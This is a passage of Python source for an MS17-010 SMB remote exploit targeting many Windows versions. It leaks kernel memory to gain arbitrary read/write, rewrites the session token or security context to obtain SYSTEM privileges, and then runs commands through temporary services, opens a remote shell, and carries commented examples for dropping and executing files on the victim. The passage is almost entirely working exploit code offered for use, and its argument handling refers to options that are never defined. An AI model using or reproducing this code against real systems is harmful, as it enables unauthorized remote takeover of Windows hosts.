    conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 0x100, 0x100), dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_PARAMCNT_OFFSET'])

    conn.send_nt_trans_secondary(mid=special_mid)
    leakData = conn.recv_transaction_data(special_mid, 0x100)
    leakData = leakData[4:]  # remove param
    #open('leak.dat', 'wb').write(leakData)

    # check heap chunk size value in leak data
    if unpack_from('<H', leakData, HEAP_CHUNK_PAD_SIZE)[0] != (TRANS_CHUNK_SIZE // info['POOL_ALIGN']):
        print('chunk size is wrong')
        return False

    # extract leak transaction data and make next transaction to be trans2
    leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
    leakTrans = leakData[leakTranOffset:]
    fmt = info['PTR_FMT']
    _, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8)
    inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
    trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]

    print('CONNECTION: 0x{:x}'.format(connection_addr))
    print('SESSION: 0x{:x}'.format(session_addr))
    print('FLINK: 0x{:x}'.format(flink_value))
    print('InData: 0x{:x}'.format(indata_value))
    print('MID: 0x{:x}'.format(trans2_mid))

    trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
    trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
    print('TRANS1: 0x{:x}'.format(trans1_addr))
    print('TRANS2: 0x{:x}'.format(trans2_addr))

    # ================================
    # modify trans struct to be used for arbitrary read/write
    # ================================
    print('modify transaction struct for arbitrary read/write')
    # modify
    # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
    # - trans1.InData to &trans2. so we can modify trans2 with trans1 data
    # Note: HIDWORD of trans1.InParameter is still 0xffffffff
    TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
    conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET'])
    wait_for_request_processed(conn)

    # modify trans1.mid
    trans1_mid = conn.next_mid()
    conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
    wait_for_request_processed(conn)

    info.update({
        'connection': connection_addr,
        'session': session_addr,
        'trans1_mid': trans1_mid,
        'trans1_addr': trans1_addr,
        'trans2_mid': trans2_mid,
        'trans2_addr': trans2_addr,
    })
    return True

def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr):
    SID_SYSTEM = pack('<BB5xB'+'I', 1, 1, 5, 18)
    SID_ADMINISTRATORS = pack('<BB5xB'+'II', 1, 2, 5, 32, 544)
    SID_AUTHENICATED_USERS = pack('<BB5xB'+'I', 1, 1, 5, 11)
    SID_EVERYONE = pack('<BB5xB'+'I', 1, 1, 1, 0)
    # SID_SYSTEM and SID_ADMINISTRATORS must be added
    sids = [ SID_SYSTEM, SID_ADMINISTRATORS, SID_EVERYONE, SID_AUTHENICATED_USERS ]
    # - user has no attribute (0)
    # - 0xe: SE_GROUP_OWNER | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT
    # - 0x7: SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY
    attrs = [ 0, 0xe, 7, 7 ]

    # assume its space is enough for SID_SYSTEM and SID_ADMINISTRATORS (no check)
    # fake user and groups will be in same buffer of original one
    # so fake sids size must NOT be bigger than the original sids
    fakeUserAndGroupCount = min(userAndGroupCount, 4)
    fakeUserAndGroupsAddr = userAndGroupsAddr

    addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * info['PTR_SIZE'] * 2)
    fakeUserAndGroups = b''
    for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
        fakeUserAndGroups += pack('<'+info['PTR_FMT']*2, addr, attr)
        addr += len(sid)
    fakeUserAndGroups += b''.join(sids[:fakeUserAndGroupCount])

    return fakeUserAndGroupCount, fakeUserAndGroups

def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset):
    # struct _TOKEN:
    #	...
    #	ULONG UserAndGroupCount;                            // Ro: 4-Bytes
    #	ULONG RestrictedSidCount;                           // Ro: 4-Bytes
    # 	...
    #	PSID_AND_ATTRIBUTES UserAndGroups;                  // Wr: sizeof(void*)
    #	PSID_AND_ATTRIBUTES RestrictedSids;                 // Ro: sizeof(void*)
    #	...

    userAndGroupCount, RestrictedSidCount = unpack_from('<II', tokenData, userAndGroupCountOffset)
    userAndGroupsAddr, RestrictedSids = unpack_from('<'+info['PTR_FMT']*2, tokenData, userAndGroupsAddrOffset)

    # RestrictedSidCount 	MUST be 0
    # RestrictedSids 	MUST be NULL
    #
    # userandGroupCount 	must NOT be 0
    # userandGroupsAddr 	must NOT be NULL
    #
    # Could also add a failure point here if userAndGroupCount >= x

    success = True

    if RestrictedSidCount != 0 or RestrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0:
        print('Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!')
        print('RestrictedSids: 0x{:x}'.format(RestrictedSids))
        print('RestrictedSidCount: 0x{:x}'.format(RestrictedSidCount))
        success = False

    print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
    print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))

    return success, userAndGroupCount, userAndGroupsAddr

def get_group_data_from_token(info, tokenData):
    userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
    userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET']

    # try with default offsets
    success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)

    # hack to fix XP SP0 and SP1
    # I will avoid over-engineering a more elegant solution and leave this as a hack,
    # since XP SP0 and SP1 is the only edge case in a LOT of testing!
    if not success and info['os'] == 'WINXP' and info['arch'] == 'x86':
        print('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround')

        userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
        userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']

        # try with hack offsets
        success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)

    # still no good. Abort because something is wrong
    if not success:
        print('Bad TOKEN_USER_GROUP offsets. Abort > BSOD')
        sys.exit()

    # token parsed and validated
    return userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset

def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
    with open(localSrc, 'rb') as fp:
        smbConn.putFile(remoteDrive + '$', remotePath, fp.read)

# Note: using Windows Service to execute command same as how psexec works
def service_exec(conn, cmd):
    import random
    import string
    from impacket.dcerpc.v5 import transport, srvs, scmr

    service_name = ''.join([random.choice(string.ascii_letters) for i in range(4)])

    # Setup up a DCE SMBTransport with the connection already in place
    rpcsvc = conn.get_dce_rpc('svcctl')
    rpcsvc.connect()
    rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
    svcHandle = None

    try:
        print("Opening SVCManager on %s....." % conn.get_remote_host())
        resp = scmr.hROpenSCManagerW(rpcsvc)
        svcHandle = resp['lpScHandle']

        # First we try to open the service in case it exists. If it does, we remove it.
        try:
            resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
        except Exception as e:
            if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
                raise e  # Unexpected error
        else:
            # It exists, remove it
            scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
            scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])

        print('Creating service %s.....' % service_name)
        resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
        serviceHandle = resp['lpServiceHandle']

        if serviceHandle:
            # Start service
            try:
                print('Starting service %s.....' % service_name)
                scmr.hRStartServiceW(rpcsvc, serviceHandle)
                # is it really need to stop?
                # using command line always makes starting service fail because SetServiceStatus() does not get called
                #print('Stoping service %s.....' % service_name)
                #scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
            except Exception as e:
                print(str(e))

                print('Removing service %s.....' % service_name)
                scmr.hRDeleteService(rpcsvc, serviceHandle)
                scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
    except Exception as e:
        print("ServiceExec Error on: %s" % conn.get_remote_host())
        print(str(e))
    finally:
        if svcHandle:
            scmr.hRCloseServiceHandle(rpcsvc, svcHandle)

    rpcsvc.disconnect()

def do_system_mysmb_session(conn, pipe_name, share, mode):
    #stringbinding = 'ncacn_np:10.11.1.75[\pipe\svcctl]'

    print("[*] have fun with the system smb session!")

    # example of creating a remote shell on the remote host
    if mode == 'SERVER':
        serverThread = SMBServer()
        serverThread.daemon = True
        serverThread.start()
    service_name = ''.join([random.choice(string.ascii_letters) for _ in range(4)])
    shell = RemoteShell(share, conn, mode, service_name)
    shell.cmdloop()

    if mode == 'SERVER':
       serverThread.stop()

    # example of creating a file on the remote host
    #smbConn = conn.get_smbconnection()
    #print('creating file c:\\pwned.txt on the target')
    #tid2 = smbConn.connectTree('C$')
    #fid2 = smbConn.createFile(tid2, '/pwned.txt')
    #smbConn.closeFile(tid2, fid2)
    #smbConn.disconnectTree(tid2)

    # example of running a command on the remote host
    #smbConn = conn.get_smbconnection()
    #service_exec(smbConn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')

    # example of sending a file to the remote host
    #smbConn = conn.get_smbconnection()
    #print('Sending file to the the target...')
    #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
    #print('done.')

    # example of executing a file on the remote host
    #service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
    # Note: there are many methods to get shell over SMB admin session
    # a simple method to get shell (but easily to be detected by AV) is
    # executing binary generated by "msfvenom -f exe-service ..."

def exploit(target, port, username, password, pipe_name, share, mode):
    conn = MYSMB(target, port)

    # set NODELAY to make exploit much faster
    conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

    info = {}

    conn.login(username, password, maxBufferSize=4356)
    server_os = conn.get_server_os()
    print('[*] Target OS: '+server_os)
    if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
        info['os'] = 'WIN7'
        info['method'] = exploit_matched_pairs
    elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10") or server_os.startswith("Windows RT 9200"):
        info['os'] = 'WIN8'
        info['method'] = exploit_matched_pairs
    elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith('Windows Vista'):
        info['os'] = 'WIN7'
        info['method'] = exploit_fish_barrel
    elif server_os.startswith("Windows Server 2003 "):
        info['os'] = 'WIN2K3'
        info['method'] = exploit_fish_barrel
    elif server_os.startswith("Windows 5.1"):
        info['os'] = 'WINXP'
        info['arch'] = 'x86'
        info['method'] = exploit_fish_barrel
    elif server_os.startswith("Windows XP "):
        info['os'] = 'WINXP'
        info['arch'] = 'x64'
        info['method'] = exploit_fish_barrel
    elif server_os.startswith("Windows 5.0"):
        info['os'] = 'WIN2K'
        info['arch'] = 'x86'
        info['method'] = exploit_fish_barrel
    else:
        print('This exploit does not support this target')
        sys.exit()

    if pipe_name is None:
        pipe_name = conn.find_named_pipe()
        if pipe_name is None:
            print('[-] Did not find an accessible named pipe :(')
            return False
    print('[+] Using named pipe: '+ pipe_name)

    if not info['method'](conn, pipe_name, info):
        return False

    # Now, read_data() and write_data() can be used for arbitrary read and write.
    # ================================
    # Modify this SMB session to be SYSTEM
    # ================================
    fmt = info['PTR_FMT']

    print('[*] make this SMB session to be SYSTEM')
    # IsNullSession = 0, IsAdmin = 1
    write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], b'\x00\x01')

    # read session struct to get SecurityContext address
    sessionData = read_data(conn, info, info['session'], 0x100)
    secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]

    if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
        # Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
        # Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
        # much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.

        # find the token and modify it
        if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
            pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
            pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0]
        else:
            pctxtDataAddr = secCtxAddr

        tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
        tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
        print('[+] current TOKEN addr: 0x{:x}'.format(tokenAddr))

        # copy Token data for restoration
        tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])

        # parse necessary data out of token
        userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)

        print('[*] overwriting token UserAndGroups')
        # modify UserAndGroups info
        fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
        if fakeUserAndGroupCount != userAndGroupCount:
            write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount))
        write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
    else:
        # the target can use PsImperonateClient for impersonation (Windows 2008 and later)
        # copy SecurityContext for restoration
        secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])

        print('[*] overwriting session security context')
        # see FAKE_SECCTX detail at top of the file
        write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])

    # ================================
    # do whatever we want as SYSTEM over this SMB connection
    # ================================
    try:
        # can use contextual info object
        do_system_mysmb_session(conn, pipe_name, share, mode)
    except Exception as e:
        print('[-] got exception')
        if logging.getLogger().level == logging.DEBUG:
            import traceback
            traceback.print_exc()
        logging.critical(str(e))

    # restore SecurityContext/Token
    if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
        userAndGroupsOffset = userAndGroupsAddr - tokenAddr
        write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
        if fakeUserAndGroupCount != userAndGroupCount:
            write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', userAndGroupCount))
    else:
        write_data(conn, info, secCtxAddr, secCtxData)

    conn.disconnect_tree(conn.get_tid())
    conn.logoff()
    conn.get_socket().close()
    return True

def main():
    parser = argparse.ArgumentParser()

    parser.add_argument('target', action='store',
    help='[[domain/]username[:password]@]<targetName or address>')
    parser.add_argument('-share', action='store', default = 'C$',
    help='share where the output will be grabbed from (default C$)')
    parser.add_argument('-mode', action='store', choices = {'SERVER','SHARE'}, default='SHARE',
    help='mode to use (default SHARE, SERVER needs root!)')
    parser.add_argument('-debug', action='store_true',
    help='Turn DEBUG output ON')

    group = parser.add_argument_group('connection')
    group.add_argument('-target-ip', action='store', metavar="ip address",
    help='IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it')
    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
    help='Destination port to connect to SMB Server')
    group.add_argument('-pipe', nargs='?', default=None, metavar="pipe name",
    help='The pipe name to use in MS17-010')

    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)
    options = parser.parse_args()

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
    else:
        logging.getLogger().setLevel(logging.INFO)

    import re
    domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('')

    #In case the password contains '@'
    if '@' in remoteName:
        password = password + '@' + remoteName.rpartition('@')[0]
        remoteName = remoteName.rpartition('@')[2]

    if domain is None:
        domain = ''

    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
        from getpass import getpass
        password = getpass("Password:")

    if options.target_ip is None:
        options.target_ip = remoteName

    exploit(options.target_ip, int(options.port), username, password, options.pipe, options.share, options.mode)
    print('Done')

main()